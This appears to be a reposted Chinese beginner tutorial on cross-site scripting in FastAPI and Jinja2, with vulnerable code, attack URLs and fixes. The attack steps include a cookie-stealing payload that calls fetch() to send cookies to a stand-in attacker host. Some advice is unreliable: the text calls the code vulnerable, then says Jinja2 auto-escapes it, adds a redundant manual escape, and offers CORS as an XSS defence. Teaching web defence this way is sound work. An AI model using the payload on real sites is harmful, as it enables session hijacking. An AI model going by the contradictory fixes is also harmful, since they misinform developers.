跨站脚本(XSS)
1. 漏洞原理
XSS 是由于 用户输入的恶意脚本未被转义,直接在浏览器中执行,导致攻击者窃取 Cookie、伪造身份或钓鱼。FastAPI 虽以 JSON 接口为主,但若返回 HTML 内容(如模板渲染)或前端直接渲染 API 返回的用户输入,仍可能触发 XSS。
2. 攻击场景(FastAPI 漏洞代码)
假设 FastAPI 接口返回包含用户输入的 HTML 页面(使用 Jinja2 模板):
1from fastapi import FastAPI, Request 2from fastapi.templating import Jinja2Templates 3 4app = FastAPI() 5templates = Jinja2Templates(directory="templates") 6 7# 漏洞接口:未转义用户输入,直接渲染到HTML 8@app.get("/welcome") 9def welcome(request: Request, username: str): 10 # 危险!username直接拼接进HTML,若包含脚本会执行 11 return templates.TemplateResponse("welcome.html", { 12 "request": request, 13 "username": username # 攻击者可构造username=<script>恶意代码</script> 14 }) 15
对应的templates/welcome.html模板:
1<!DOCTYPE html> 2<html> 3<head> 4 <title>Welcome</title> 5</head> 6<body> 7 <!-- 未转义渲染用户输入 --> 8 <h1>Welcome, {{ username }}!</h1> 9</body> 10</html> 11
攻击步骤:
- 攻击者访问接口,构造恶意
username:/welcome?username=<script>alert('XSS')</script> - 浏览器渲染页面时,
<script>标签被执行,弹出 “XSS” 提示(简单演示)。 - 进阶攻击:窃取 Cookie 并发送到攻击者服务器:
/welcome?username=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>)若用户已登录,Cookie 包含会话信息,攻击者可劫持会话。
3. 防护方案(修复代码 + 最佳实践)
核心原则:对用户输入进行 HTML 转义,或避免在 HTML 中直接渲染用户输入。
修复方案 1:模板自动转义(Jinja2 默认开启)
Jinja2 模板默认会对{{ variable }}进行 HTML 转义(将<转义为<,>转义为>等),恶意脚本会被当作普通文本显示。上述代码无需修改,Jinja2 已自动防护 —— 若用户输入<script>,会被转义为<script>,不会执行。
修复方案 2:手动转义(若需自定义渲染)
若使用其他模板引擎或手动拼接 HTML,需手动转义用户输入(使用html模块):
1import html 2 3@app.get("/welcome") 4def welcome(request: Request, username: str): 5 # 手动转义用户输入,确保安全 6 safe_username = html.escape(username) 7 return templates.TemplateResponse("welcome.html", { 8 "request": request, 9 "username": safe_username 10 }) 11
额外防护:
- 避免返回 HTML:FastAPI 优先使用 JSON 接口,前端通过 JavaScript 渲染数据(JSON 不会执行脚本)。
- 设置安全响应头:通过
fastapi.middleware.cors.CORSMiddleware限制跨域,或添加Content-Security-Policy(CSP)头,禁止加载外部脚本。
《安全小白入门(2)-----跨站脚本(XSS)》 是转载文章,点击查看原文。